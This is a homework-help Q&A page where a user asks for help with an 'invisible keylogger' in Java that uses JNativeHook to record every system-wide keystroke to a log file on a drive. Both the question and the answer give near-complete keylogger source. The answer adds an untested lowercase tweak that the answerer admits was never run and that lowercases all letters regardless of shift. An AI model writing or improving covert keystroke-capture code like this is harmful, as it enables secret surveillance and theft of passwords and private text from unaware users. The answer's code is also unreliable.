I am making a invisible kelogger using Java programming langauge . Most of the p
ID: 3903096 • Letter: I
Question
I am making a invisible kelogger using Java programming langauge. Most of the part of that program completed but having trouble. This capture all necessary strokes and store into specific drive.
Issues:
1) Capture strokes are upper case automatically i hit the key without shift and caps lock but log file contains all are the upper case. Resolve this problem. if we press lower case letter than save only lower case if i type upper case than store upper case letter.
2) log.txt file format is very bad. For example i type "Hello world!" but in the notepad log file contains:
Change this format to: Hello space world
with out lot of enters and native key pressed etc.
SOURCE CODE:
File 1 (KeyLogger.java)===============================================================
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Properties;
import java.util.logging.FileHandler;
import java.util.logging.Logger;
import java.util.logging.SimpleFormatter;
import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
/**
*
* Logs keystrokes in a log file.
*
* @author Abhishek
*
*/
public class KeyLogger implements NativeKeyListener {
String configFilePath = null;
Logger logger = null;
FileHandler fileHandler = null;
SimpleFormatter simpleFormatter = null;
InputStream inputStream = null;
Properties properties = null;
Path currentRelativePath = null;
/**
*
* The constructor.
*
* @throws IOException
*
*/
public KeyLogger() throws IOException {
logger = Logger.getLogger("Key Log");
currentRelativePath = Paths.get("");
inputStream = new FileInputStream("C:\Users\SHIVA\Documents\NetBeansProjects\Keylogger\src\config.properties");
properties = new Properties();
properties.load(inputStream);
configFilePath = properties.getProperty("FilePath");
fileHandler = new FileHandler(configFilePath);
logger.addHandler(fileHandler);
simpleFormatter = new SimpleFormatter();
fileHandler.setFormatter(simpleFormatter);
}
/**
*
* Overridden method to capture the pressed keys.
*
*/
public void nativeKeyPressed(NativeKeyEvent nativeKeyEvent) {
logger.info("Key pressed: " + NativeKeyEvent.getKeyText(nativeKeyEvent.getKeyCode()));
}
/**
*
* Overridden method to capture released keys.
*
*/
public void nativeKeyReleased(NativeKeyEvent nativeKeyEvent) {
}
/**
*
* Overridden method to capture the typed keys.
*
*/
public void nativeKeyTyped(NativeKeyEvent nativeKeyEvent) {
}
/**
*
* The main method.
*
* @param arguments - Command-line arguments
*
* @throws IOException
*
* @throws NativeHookException
*
*/
public static void main(String arguments[]) throws IOException, NativeHookException {
GlobalScreen.registerNativeHook();
GlobalScreen.addNativeKeyListener(new KeyLogger());
}
}
================================================================================
File 2(config.propertise)==============================================================
FilePath=D:\Log.txt
Log.tbt - Notepad File Edit Format View Help Jun 11, 2018 3:44:13 PM KeyLogger nativeKeyPressed INFO: Key pressed: H Jun 11, 2018 3:44:13 PM KeyLogger nativeKeyPressed INFO: Key pressed: E Jun 11, 2018 3:44:13 PM KeyLogger nativeKeyPressed INFO: Key pressed L Jun 11, 2018 3:44:13 PM KeyLogger nativeKeyPressed INFO: Key pressed L Jun 11, 2018 3:44:13 PM KeyLogger nativeKeyPressed INFO: Key pressed: O Jun 11, 2018 3:44:14 PM KeyLogger nativeKeyPressed INFO: Key pressed: Space Jun 11, 2018 3:44:14 PM KeyLogger nativeKeyPressed INFO: Key pressed: W Jun 11, 2018 3:44:14 PM KeyLogger nativeKeyPressed INFO: Key pressed: O Jun 11, 2018 3:44:14 PM KeyLogger nativeKeyPressedExplanation / Answer
Solution:
//////////////////////////////KeyLogger.java////////////////////////
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Properties;
import java.util.logging.FileHandler;
import java.util.logging.Logger;
import java.util.logging.SimpleFormatter;
import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
/**
*
* Logs keystrokes in a log file.
*
* @author Abhishek
*
*/
public class KeyLogger implements NativeKeyListener {
String configFilePath = null;
Logger logger = null;
FileHandler fileHandler = null;
SimpleFormatter simpleFormatter = null;
InputStream inputStream = null;
Properties properties = null;
Path currentRelativePath = null;
/**
*
* The constructor.
*
* @throws IOException
*
*/
public KeyLogger() throws IOException {
logger = Logger.getLogger("Key Log");
currentRelativePath = Paths.get("");
inputStream = new FileInputStream("C:\Users\SHIVA\Documents\NetBeansProjects\Keylogger\src\config.properties");
properties = new Properties();
properties.load(inputStream);
configFilePath = properties.getProperty("FilePath");
fileHandler = new FileHandler(configFilePath);
logger.addHandler(fileHandler);
simpleFormatter = new SimpleFormatter();
fileHandler.setFormatter(simpleFormatter);
}
/**
*
* Overridden method to capture the pressed keys.
*
*/
public void nativeKeyPressed(NativeKeyEvent nativeKeyEvent) {
if(nativeKeyEvent.getRawCode()>=65 && nativeKeyEvent.getRawCode()<=90) {
logger.info("Key pressed: "+ NativeKeyEvent.getKeyText(nativeKeyEvent.getKeyCode()).toLowerCase());
}else {
logger.info("Key pressed: " +NativeKeyEvent.getKeyText(nativeKeyEvent.getKeyCode()));
}
}
/**
*
* Overridden method to capture released keys.
*
*/
public void nativeKeyReleased(NativeKeyEvent nativeKeyEvent) {
}
/**
*
* Overridden method to capture the typed keys.
*
*/
public void nativeKeyTyped(NativeKeyEvent nativeKeyEvent) {
}
/**
*
* The main method.
*
* @param arguments - Command-line arguments
*
* @throws IOException
*
* @throws NativeHookException
*
*/
public static void main(String arguments[]) throws IOException, NativeHookException {
GlobalScreen.registerNativeHook();
GlobalScreen.addNativeKeyListener(new KeyLogger());
}
}
Note: Try running this code as I am in the office right now hence I am not able to run the code because I need to download extra packages and I am not allowed to do so. If above code works then please let me know in the comment section. And don't forget to give a big thumbs up . If above code does not work then please let me know in the comment section before giving negative feedback.
Related Questions
Navigate
Integrity-first tutoring: explanations and feedback only — we do not complete graded work. Learn more.